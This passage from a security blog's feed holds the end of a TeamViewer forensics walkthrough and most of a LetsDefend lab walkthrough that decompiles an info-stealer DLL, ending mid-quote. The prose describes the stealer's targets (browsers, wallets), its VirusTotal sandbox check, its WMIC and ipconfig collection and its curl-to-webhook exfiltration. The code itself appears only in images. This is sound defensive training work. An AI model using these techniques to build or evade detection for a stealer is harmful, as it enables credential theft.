src=&#34;https://stumblesec.com/posts/letsdefend-teamviewer-forensics-challenge-walkthrough/3382a8e5dac9fe01c501a0453d1ac4b0_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;Mission accomplished! We have finished our analysis of the &lt;em&gt;TeamViewer&lt;/em&gt; connection logs_,_ learned when the attacker connected to the victim&amp;rsquo;s workstation, and discovered what data was stolen. It&amp;rsquo;s time to close out this walkthrough of the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/teamviewer-forensics&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Team Viewer Forensics&lt;/strong&gt;&lt;/a&gt; challenge!&lt;/p&gt;&#xA;&lt;p&gt;A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt; &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;for this awesome challenge — this was a really exciting lab to work through. I chose this challenge because &lt;em&gt;TeamViewer&lt;/em&gt; is such a popular remote monitoring and managing tool and it is really valuable for me to get some hands-on experience analyzing the &lt;em&gt;TeamViewer logs&lt;/em&gt; to understand what information they contain. The even cooler part about this challenge was the unexpected pivot to using _MFTECmd t_o analyze the &lt;em&gt;USN Journal&lt;/em&gt;. Prior to this challenge, I didn&amp;rsquo;t know that this file existed and also hadn&amp;rsquo;t used the &lt;em&gt;MFTECmd&lt;/em&gt; utility from &lt;em&gt;Eric Zimmerman&amp;rsquo;s&lt;/em&gt; tools — this was a great introduction to both! While I&amp;rsquo;m sure this was a basic use case for using &lt;em&gt;MFTECmd&lt;/em&gt;, I am really interested in learning more about what forensic artifacts can be uncovered within the journal.&lt;/p&gt;&#xA;&lt;p&gt;If you found this walkthrough helpful in leveling up your skills or getting you through a tricky question, &lt;strong&gt;please give it a clap&lt;/strong&gt;! Your feedback lets me know that I helped you out on your security journey. We&amp;rsquo;re in this together! Thanks for the support!&lt;/p&gt;&#xA;&lt;p&gt;Until next week — stay curious.&lt;/p&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;TeamViewer Log Locations:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.teamviewer.com/en-us/global/support/knowledge-base/teamviewer-classic/contact-support/find-your-log-files/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.teamviewer.com/en-us/global/support/knowledge-base/teamviewer-classic/contact-support/find-your-log-files/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Eric Zimmerman&amp;rsquo;s Tools:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://ericzimmerman.github.io/#!index.md&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://ericzimmerman.github.io/#!index.md&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Date Time Calculator:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://datetimecalculator.net/subtract-time-calculator&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://datetimecalculator.net/subtract-time-calculator&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn (PSReadline)&lt;/strong&gt;: &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7.4&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7.4&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Velociraptor Blog:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://docs.velociraptor.app/blog/2020/2020-11-13-the-windows-usn-journal-f0c55c9010e/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;The Windows USN Journal :: Velociraptor — Digging deeper!&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Wikipedia (USN Journal):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/USN_Journal#:~:text=The%20USN%20Journal%20%28Update%20Sequence,changes%20made%20to%20the%20volume.&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://en.wikipedia.org/wiki/USN_Journal#:~:text=The%20USN%20Journal%20(Update%20Sequence,changes%20made%20to%20the%20volume.&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend — DLL Stealer Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-dll-stealer-challenge-walkthrough/</link>
            <pubDate>Sun, 14 Jul 2024 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-dll-stealer-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-dll-stealer-challenge-walkthrough/138757dfaba160cb545103156a1b0b1a_MD5.png&#34; alt=&#34;Featured image of post LetsDefend — DLL Stealer Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend--dll-stealer-challenge-walkthrough&#34;&gt;LetsDefend — DLL Stealer Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;analyzing-dll-stealer-malware-with-dotpeek-and-mitreattck&#34;&gt;Analyzing DLL Stealer Malware with dotPeek and MITRE ATT&amp;amp;CK&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;320px&#34; data-flex-grow=&#34;133&#34; height=&#34;300&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-dll-stealer-challenge-walkthrough/138757dfaba160cb545103156a1b0b1a_MD5.png&#34; width=&#34;400&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/dll-stealer&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/dll-stealer&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Have you ever wanted to try to reverse engineer an info stealer malware sample, see how it works, and determine how it could impact its victim? If this sounds interesting to you, you&amp;rsquo;ve stumbled on the right blog! Stick around for my weekly walkthrough where we&amp;rsquo;re going to take on the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/dll-stealer&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;DLL Stealer&lt;/strong&gt;&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;!&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/dll-stealer&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;DLL Stealer&lt;/strong&gt;&lt;/a&gt; is an introductory malware reverse engineering challenge that has us using &lt;em&gt;JetBrains dotPeek&lt;/em&gt; to decompile and analyze an information stealer malware sample. By analyzing the malware, we&amp;rsquo;re going to determine its capabilities, what data it tries to steal, and how it exfiltrates the information — fun stuff!&lt;/p&gt;&#xA;&lt;p&gt;To set the stage, malware reverse engineering is not my strongest skill, but practice makes perfect, so we will stumble through this one together and build up our knowledge along the way. That being said, I won&amp;rsquo;t have as many real-world application tips this time around so instead I&amp;rsquo;m providing plenty of reference links to &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;MITRE ATT&amp;amp;CK&lt;/a&gt; to add some additional context about the tactics, techniques, and procedures (&lt;em&gt;TTPs&lt;/em&gt;) used by the malware.&lt;/p&gt;&#xA;&lt;p&gt;Now let&amp;rsquo;s put on our detective hats and have some fun with forensics. Thanks for reading along!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/dll-stealer&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/dll-stealer&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;You work as a cybersecurity analyst for a major corporation. Recently, your company&amp;rsquo;s security team detected some suspicious activity on the network. It appears that a new DLL Stealer malware has infiltrated your system, and it&amp;rsquo;s causing concern due to its ability to exfiltrate critical DLL files from your system.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-what-is-the-dll-that-has-the-stealercode&#34;&gt;Question 1: What is the DLL that has the stealer code?&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s jump right in and connect to the provided virtual machine and extract the challenge file archive within the &lt;em&gt;ChallengeFile&lt;/em&gt; folder.&lt;/p&gt;&#xA;&lt;p&gt;Typically, it&amp;rsquo;s a good idea to get familiar with the provided tools so that we have some idea of what&amp;rsquo;s available to tackle the challenge. Let&amp;rsquo;s review the &lt;em&gt;Tools&lt;/em&gt; folder on the Desktop. Right away, we&amp;rsquo;ll see several available disassemblers, debuggers, and decompilers which will be helpful to dig into the provided malware sample.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;452px&#34; data-flex-grow=&#34;188&#34; height=&#34;416&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-dll-stealer-challenge-walkthrough/eca4572535ec4e91447479302c466740_MD5.png&#34; width=&#34;784&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Overview of the Tools folder.&lt;/p&gt;&#xA;&lt;p&gt;However, since reverse engineering is not my strong suit, we&amp;rsquo;ll look at question hint as a jumping-off point:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1692px&#34; data-flex-grow=&#34;705&#34; height=&#34;99&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-dll-stealer-challenge-walkthrough/c583f86d7e04b7987eb3c73628734faa_MD5.png&#34; width=&#34;698&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Awesome! This will be my first time using &lt;em&gt;dotPeek&lt;/em&gt;. Let&amp;rsquo;s take a moment to check out the project&amp;rsquo;s website to understand what it is and take a quick look at the documentation available.&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.jetbrains.com/help/decompiler/dotPeek_Introduction.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;dotPeek is a free .NET decompiler and assembly browser. The main idea behind dotPeek is to make high-quality decompiling available to everyone in the .NET community, free of charge.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.jetbrains.com/help/decompiler/dotPeek_Getting_Started.html&#34;  title=&#34;https://www.jetbrains.com/help/decompiler/dotPeek_Getting_Started.html&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Get started | dotPeek&lt;/strong&gt;&#xA;_dotPeek is available for download in two distributions: as a part of dotUltimate installer and as portable versions for&amp;hellip;_www.jetbrains.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.jetbrains.com/help/decompiler/dotPeek_Getting_Started.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Cool, now that we have done a little research, let&amp;rsquo;s jump into &lt;em&gt;dotPeek&lt;/em&gt; and start the investigation. Open the &lt;em&gt;ChallengeFile&lt;/em&gt; folder, right-click the extracted sample, and select &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Open With &amp;gt; &lt;em&gt;JetBrains dotPeek&lt;/em&gt;.&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;This will launch &lt;em&gt;dotPeek&lt;/em&gt; and load the file. Don&amp;rsquo;t worry, it will take a few minutes to load the &lt;em&gt;assembly explorer,&lt;/em&gt; but when it does, expand the node (the one with the sample name) so that we can see the two DLL files contained within the executable:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Colorful&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Test-Anitnazim.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;408px&#34; data-flex-grow=&#34;170&#34; height=&#34;419&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-dll-stealer-challenge-walkthrough/f0d5bcd3446a58f0ea717110da0951c7_MD5.png&#34; width=&#34;714&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Since we need to find the name of the specific DLL that contains the info stealer code, we&amp;rsquo;ll just start at the top of the list and expand the &lt;em&gt;Colorful node&lt;/em&gt; so that we can peek into all the assemblies. We&amp;rsquo;ll see a few different functions that we need to look through to see if we can discover any malicious code.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;502px&#34; data-flex-grow=&#34;209&#34; height=&#34;382&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-dll-stealer-challenge-walkthrough/124fc9483aa943746b9d377527756363_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;After a brief scan of the code, we&amp;rsquo;ll see evidence of suspicious &lt;em&gt;data staging&lt;/em&gt; &lt;em&gt;(&lt;/em&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1074/001/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;T1074.001&lt;/em&gt;&lt;/a&gt;&lt;em&gt;)&lt;/em&gt; and &lt;em&gt;collection (&lt;/em&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1005/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;T1005&lt;/em&gt;&lt;/a&gt;&lt;em&gt;)&lt;/em&gt; activity targeting common directories of interest for info stealers like web browser databases, cryptocurrency wallet addresses, online gaming platforms, social media accounts, etc.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;348px&#34; data-flex-grow=&#34;145&#34; height=&#34;551&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-dll-stealer-challenge-walkthrough/45504c778e94db0eed305b6adcc383a4_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Sus.&lt;/p&gt;&#xA;&lt;p&gt;Scrolling even further to the end of the code, we even see some evidence of &lt;em&gt;data exfiltration (&lt;/em&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1048/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;T1048&lt;/em&gt;&lt;/a&gt;&lt;em&gt;)&lt;/em&gt; with the &lt;a class=&#34;link&#34; href=&#34;https://curl.se/docs/manpage.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;curl&lt;/em&gt; command&lt;/a&gt; to send the data.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;518px&#34; data-flex-grow=&#34;216&#34; height=&#34;370&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-dll-stealer-challenge-walkthrough/54c584ce6e60267ae34ab6d858259039_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ll stop here for now. This is enough evidence to determine that we discovered the &lt;em&gt;DLL&lt;/em&gt; that contains the stealer code. Let&amp;rsquo;s submit our findings to answer &lt;strong&gt;Question 1.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1811px&#34; data-flex-grow=&#34;754&#34; height=&#34;106&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-dll-stealer-challenge-walkthrough/c48db1bc40ba7d9b680acbafce0c2cda_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-what-is-the-anti-analysis-method-used-by-themalware&#34;&gt;Question 2: What is the anti-analysis method used by the malware?&#xA;&lt;/h3&gt;&lt;p&gt;Sometimes, malware performs checks to see if it is being executed in virtual or sandbox environments and will adjust its behavior or terminate to avoid detection by analysts. &lt;strong&gt;Question 2&lt;/strong&gt; suggests that there is some anti-analysis mechanism our sample, so let&amp;rsquo;s see if we can find it!&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ll go back into the &lt;em&gt;assembly explorer&lt;/em&gt; in &lt;em&gt;dotPeek,&lt;/em&gt; check out the &lt;code&gt;IsVirusTotal(): bool&lt;/code&gt; under the C_olorful_ function, and examine the code.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s focus on these interesting lines of code:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;469px&#34; data-flex-grow=&#34;195&#34; height=&#34;409&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-dll-stealer-challenge-walkthrough/b93d313e31036287033381ab9a9e2ac6_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;It seems that the program tries to detect if it is being analyzed by &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;&lt;em&gt;VirusTotal&lt;/em&gt;&lt;/strong&gt;&lt;/a&gt; by using a series of system checks for unique values typically used by the &lt;em&gt;VirusTotal&lt;/em&gt; analysis engines during automated scanning including: username, machine name, and download location.&lt;/p&gt;&#xA;&lt;p&gt;Then, it looks for a true or false value (&lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/Boolean_data_type&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Boolean&lt;/em&gt;&lt;/a&gt;) — if the application returns &lt;em&gt;true&lt;/em&gt;, the program has determined that is being analyzed by &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;VirusTotal&lt;/em&gt;&lt;/a&gt; and then the program then ends to evade further analysis.&lt;/p&gt;&#xA;&lt;p&gt;This is an example of a defense evasion tactic that we touched on earlier (&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1497/001/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;T1497.001&lt;/a&gt;) where, according to &lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1497&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Virtualization/Sandbox Evasion&lt;/a&gt; during automated discovery to shape follow-on behaviors.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;All of that said, since the program seems to check if it is being analyzed by &lt;em&gt;VirusTotal,&lt;/em&gt; I think we&amp;rsquo;ve found the anti-analysis method we are looking for to answer &lt;strong&gt;Question 2!&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1761px&#34; data-flex-grow=&#34;733&#34; height=&#34;109&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-dll-stealer-challenge-walkthrough/bcc26e3dab104770437275d8cef7586b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-what-is-the-full-command-used-to-gather-information-from-the-system-into-the---&#34;&gt;Question 3: What is the full command used to gather information from the system into the &amp;quot; # &amp;quot;&#xA;&lt;/h3&gt;&lt;p&gt;productkey.txt&amp;quot;&#xA;file?&lt;/p&gt;&#xA;&lt;p&gt;Now, let&amp;rsquo;s search the code and see if we can analyze some specific capabilities of the stealer functions. We are going to search for the command that the malware uses to enumerate and collect the victim&amp;rsquo;s &lt;em&gt;Windows&lt;/em&gt; product key.&lt;/p&gt;&#xA;&lt;p&gt;Fortunately, this is pretty straightforward, and we can simply use the &lt;em&gt;find&lt;/em&gt; feature (CTRL+F) in &lt;em&gt;dotPeek&lt;/em&gt; to search for the keyword &amp;quot; # &amp;ldquo;productkey.txt.&amp;rdquo;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;543px&#34; data-flex-grow=&#34;226&#34; height=&#34;353&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-dll-stealer-challenge-walkthrough/47c5443df46db29815e429f12919577b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Taking a closer look at the command, this is using the &lt;em&gt;Windows Management Instrumentation Command Line (WMIC)&lt;/em&gt; to query the software licensing class for the value containing the &lt;em&gt;Windows&lt;/em&gt; product key.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1655px&#34; data-flex-grow=&#34;689&#34; height=&#34;116&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-dll-stealer-challenge-walkthrough/f75675fb78548536cee5c8203463463d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-what-is-the-full-command-used-to-gather-information-through-the---&#34;&gt;Question 4: What is the full command used to gather information through the &amp;quot; # &amp;quot;&#xA;&lt;/h3&gt;&lt;p&gt;ips.txt&amp;quot;&#xA;file?&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ll approach &lt;strong&gt;Question 4&lt;/strong&gt; the same way we approached the previous question except this time, we will search for &amp;ldquo;ips.txt.&amp;ldquo;This will help us locate the output file so that we can see the preceding command.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;566px&#34; data-flex-grow=&#34;235&#34; height=&#34;339&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-dll-stealer-challenge-walkthrough/dbf692bcab812c6bd05cf36e01744b05_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once we locate the &lt;em&gt;ips.txt&lt;/em&gt; file, we can see that the IP addresses were enumerated through the &lt;em&gt;ipconfig /all&lt;/em&gt; command (&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1016/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;T1016&lt;/em&gt;&lt;/a&gt;)&lt;em&gt;.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1745px&#34; data-flex-grow=&#34;727&#34; height=&#34;110&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-dll-stealer-challenge-walkthrough/fa5273043e22ba415854f5347d33a823_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-what-is-the-webhook-used-by-themalware&#34;&gt;Question 5: What is the webhook used by the malware?&#xA;&lt;/h3&gt;&lt;p&gt;Okay, last question! Remember back in &lt;strong&gt;Question 1&lt;/strong&gt; that we found some evidence of data being staged for exfiltration? Let&amp;rsquo;s revisit those lines of code. To speed this process up, let&amp;rsquo;s leverage &lt;em&gt;dotPeek&amp;rsquo;s find&lt;/em&gt; function again and search for &amp;ldquo;webhook&amp;quot;to take us to the right location.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;580px&#34; data-flex-grow=&#34;241&#34; height=&#34;331&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-dll-stealer-challenge-walkthrough/4748e5c4b5e85b0c2d7b712dc6753832_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;This will show us the correct webhook URL to answer &lt;strong&gt;Question 5!&lt;/strong&gt; But, let&amp;rsquo;s take a moment to understand how this works by referencing &lt;em&gt;MITRE ATT&amp;amp;CK&lt;/em&gt; for more context of this technique &lt;em&gt;(&lt;/em&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1567/004/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;T1567.004&lt;/em&gt;&lt;/a&gt;&lt;em&gt;).&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1567/004/&#34;  title=&#34;https://attack.mitre.org/techniques/T1567/004/&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Exfiltration Over Web Service: Exfiltration Over Webhook&lt;/strong&gt;&#xA;_Adversaries may exfiltrate data to a webhook endpoint rather than over their primary command and control channel&amp;hellip;_attack.mitre.org&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1567/004/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Adversaries may exfiltrate data to a webhook endpoint rather than over their primary command and control channel. Webhooks are simple mechanisms for allowing a server to push data over HTTP/S to a client without the need for the client to continuously poll the server.&lt;a class=&#34;link&#34; href=&#34;https://www.redhat.com/en/topics/automation/what-is-a-webhook&#34;  